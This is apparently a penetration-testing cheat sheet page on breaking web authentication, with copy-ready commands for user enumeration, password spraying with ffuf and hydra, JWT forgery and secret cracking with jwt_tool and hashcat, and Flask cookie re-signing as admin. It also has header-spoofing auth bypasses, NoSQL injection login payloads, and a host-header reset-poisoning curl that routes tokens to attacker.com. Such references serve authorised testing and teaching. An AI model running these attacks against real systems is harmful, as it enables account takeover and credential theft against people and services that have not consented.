Auth & Session

Sections Auth & Session

Bypass auth, hijack sessions, attack JWTs, spray creds, break OAuth/SAML flows.

T=https://target.com

i. Where it lives

Surfaces to check on every web app:

  • Login form (username/password, plus the API endpoint behind it)
  • Registration (often enumerates valid usernames)
  • Password reset (token analysis, timing, host header injection)
  • “Remember me” cookies, session cookies, CSRF tokens
  • JWTs anywhere (Authorization header, cookies, localStorage)
  • OAuth callbacks, SAML assertions, OpenID flows
  • MFA challenge endpoints
  • API tokens, refresh tokens

ii. User enumeration

Different responses for valid vs invalid usernames are the first crack in the wall.

Probe login error messages:

## Quick test: known-bad vs guessed-valid
curl -sX POST "$T/login" -d 'user=admin&pass=x' | sha256sum
curl -sX POST "$T/login" -d 'user=fakeuser123&pass=x' | sha256sum
## Different hashes = different responses = enum exists

Common enum primitives:

  • Different error message for unknown user vs wrong password
  • Different status code (200 vs 302)
  • Different response time (bcrypt only runs for valid users)
  • Password reset reveals “no account found” vs “email sent”
  • Registration form rejects existing usernames

ffuf for time-based enum:

ffuf -u "$T/login" -X POST \
  -d 'user=FUZZ&pass=invalid' \
  -w usernames.txt \
  -ot 0.5    ## flag responses faster/slower than 0.5s

iii. Password spraying online

Always check lockout policy first. Look at:

  • Account lock after N failures (test with 1 known account, 5+ wrong passwords)
  • Rate limiting per IP (test fast burst)
  • CAPTCHA after N failures

ffuf spray:

ffuf -u "$T/login" -X POST -d 'user=USER&pass=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' \
  -w passwords.txt -mc all -fs <baseline_failed_size>
## Replace USER with each user, or pairs:
ffuf -u "$T/login" -X POST -d 'user=U&pass=P' \
  -w users.txt:U -w passwords.txt:P -mode pitchfork

hydra against form login:

hydra -L users.txt -P passwords.txt "$T" http-post-form \
  '/login:user=^USER^&pass=^PASS^:F=Invalid credentials'

Turbo Intruder (Burp extension) for high-speed concurrent spraying:

## Inside Burp, custom script for 100 req/sec parallel attempts
## Best when you need to dodge rate limits with timing tricks
Lockout is your enemy

One password per user per lockout window. If lockoutThreshold is 5, try max 4. See - Password Spraying for the safe-window math (the principle is the same here).

iv. JWTs

Decode and inspect first, attack second.

Decode any JWT (jq if base64 is clean, otherwise jwt_tool):

echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq
## or full tool:
jwt_tool "$JWT"

The jwt_tool subcommands cover every JWT attack:

## Read claims and check signature:
jwt_tool "$JWT"
## All known attacks at once:
jwt_tool "$JWT" -M at -t "$T/api/private" -rh "Authorization: Bearer $JWT"
## Crack HS256 secret:
jwt_tool "$JWT" -C -d /usr/share/wordlists/rockyou.txt
## Specific attacks:
jwt_tool "$JWT" -X a              ## alg=none
jwt_tool "$JWT" -X k              ## kid injection (SQLi/LFI/path)
jwt_tool "$JWT" -X i              ## inject claims
jwt_tool "$JWT" -X s              ## key confusion (RS256 -> HS256)
jwt_tool "$JWT" -S hs256 -p secret  ## sign with a chosen secret

Hashcat for HS256/HS384/HS512:

hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

JWT attack quick reference:

  • alg=none - change algorithm to none, remove signature. Patched libraries reject this, old/custom ones still vulnerable.
  • alg confusion RS256 -> HS256 - sign with the server’s RSA public key as HMAC secret. Public key often in /jwks.json, /.well-known/jwks.json, or returned in API responses.
  • kid header injection - kid (key ID) header may be passed to filesystem lookup, SQL query, or arbitrary URL fetch. Test path traversal, SQLi, SSRF.
  • jku / x5u header pointing to attacker-controlled URL - server fetches your public key, validates signature against it.
  • Brute force HS256 secret - weak secret words crack quickly with rockyou.

Pull a cookie, decode it, look for structure:

## Common encodings:
echo "COOKIE" | base64 -d
echo "COOKIE" | base64 -d | gunzip          ## sometimes gzipped
## URL decode wrapper:
python3 -c "import urllib.parse,sys;print(urllib.parse.unquote(sys.argv[1]))" "COOKIE"

Look for:

  • Plain JSON / base64-JSON (often modifiable)
  • Predictable structure (user_id:1:timestamp:hash - modify user_id?)
  • Serialized objects (Java, PHP, .NET - see WEB14 Deserialization )
  • Sequential IDs (replay another user’s session?)
  • Missing HMAC / signature (mutate and check if rejected)
  • Same cookie across different users (session fixation)

Burp Sequencer analyzes entropy across many tokens:

  • Use when cookies look random but you want to confirm
  • Generate 200+ samples via macro, paste into Sequencer

Flask session cookies (signed but readable):

flask-unsign --decode --cookie 'eyJ1c2VyIjoidGVzdCJ9.YxX...'
## Brute force the secret:
flask-unsign --unsign --cookie 'COOKIE' --wordlist rockyou.txt
## Re-sign with cracked secret:
flask-unsign --sign --cookie '{"user":"admin"}' --secret 'foundsecret'

Django sessions: usually unsigned dict in DB, signed cookie variant uses HMAC.

ASP.NET ViewState: signed and encrypted by machine key. If machine key leaks (often in web.config), you can forge ViewState. ysoserial.net wraps this attack.

A cookie missing the right attributes is half a vuln on its own:

curl -sIv "$T/login" 2>&1 | grep -i set-cookie
## Look for:
## - HttpOnly missing -> XSS can steal it
## - Secure missing on HTTPS site -> MITM via downgrade
## - SameSite=None or absent -> CSRF easier
## - Domain= overly broad (.target.com) -> all subdomains receive
## - Long Max-Age -> persistent risk

vii. OAuth / OIDC

OAuth/OIDC flaws are about state, redirect_uri, and trust boundaries.

Quick checks:

  • redirect_uri loose match: https://target.com.attacker.com/callback, https://target.com/@attacker.com/callback, https://target.com//attacker.com/callback
  • State parameter missing or predictable: CSRF on the OAuth flow → account takeover
  • PKCE not enforced on public clients
  • Authorization code reuse: try presenting the same code twice
  • Refresh token leakage in browser history / referer / logs

Reference reading:

viii. SAML

SAML attacks center on XML signature handling.

Common bugs:

  • XML Signature Wrapping (XSW) - duplicate signed assertion, modify the copy, signature still valid
  • Signature stripping - remove signature element, some libraries accept unsigned assertions
  • Comment-based attacks - username=admin<!--ignored-->attacker parsed differently by signature vs app
  • XXE in SAML - see WEB07 XXE

Tools:

  • SAML Raider (Burp extension) - automates XSW attacks
  • saml-tools (CLI) - encode/decode/sign

ix. MFA bypass patterns

When the user logged in but hasn’t completed MFA, the session token sometimes works for other endpoints:

  • Direct endpoint access: navigate past /mfa-verify to /dashboard directly with the partial session
  • Race condition on /mfa-verify endpoint, brute force the 6-digit code
  • Re-use of intermediate token issued before MFA completion
  • Backup code endpoint with no rate limit
  • Account recovery flow that bypasses MFA entirely

For Microsoft / Entra ID specifically, see Azure section iii (Device Code Flow often bypasses Conditional Access).

x. Password reset flaws

Common bugs:

  • Host header injection - server uses Host: to build the reset URL. Inject your host, get the token sent to your link:
curl -X POST "$T/forgot" -H "Host: attacker.com" -d 'email=victim@target.com'
## Victim receives: https://attacker.com/reset?token=abc
  • Predictable tokens (timestamp, sequential, MD5 of email+date)
  • Token doesn’t expire after use or after time
  • Email parameter abuse: email=victim@target.com&email=attacker@evil.com - server uses last/first
  • Account confusion via duplicate params in HPP (HTTP Parameter Pollution)
  • Reset link cross-account: token leakage in referer when victim clicks an external link from the reset page

xi. Tricks worth knowing

Forgotten endpoint registration

Many apps validate user input on registration but not on profile-update:

## Register: rejected username "admin" (has filter)
## Update profile: accepted username "admin" (no filter)

Email plus-tag uniqueness bypass

Some apps treat victim+1@target.com as unique but resolve to the same inbox:

attacker registers victim+1@gmail.com
victim's gmail receives the verification, doesn't notice the +1

Trim / case normalization mismatch

Login normalizes (lowercase, strip), registration doesn’t:

register "Admin " (with trailing space)
login as "admin" - same account

Header-based auth flag bypass

Some apps trust internal headers:

curl -H 'X-Forwarded-For: 127.0.0.1' "$T/admin"
curl -H 'X-Real-IP: 127.0.0.1' "$T/admin"
curl -H 'X-User: admin' "$T/api/me"
curl -H 'X-Original-URL: /admin' "$T/"
curl -H 'X-Rewrite-URL: /admin' "$T/"

Auth via different content-type

JSON body parsed less strictly than form-data sometimes:

curl "$T/login" -H 'Content-Type: application/json' -d '{"user":"admin","pass":"x"}'
curl "$T/login" -H 'Content-Type: application/json' -d '{"user":["admin"],"pass":"x"}'   ## type confusion
curl "$T/login" -H 'Content-Type: application/json' -d '{"user":{"$ne":null},"pass":{"$ne":null}}'   ## NoSQL, see [WEB04 NoSQL Injection](/cheatsheets/web/web04-nosql-injection/)

xii. References

xiii. Where it leads

  • Cracked password → spray across all auth surfaces (web, SMB, SSH if internal)
  • Forged JWT → API access as any user, often unlocks horizontal then vertical privilege
  • Session token theft → full account takeover, then look for IDOR with the captured session
  • OAuth/SAML flaw → cross-tenant or cross-app compromise
  • MFA bypass → high-priv account takeover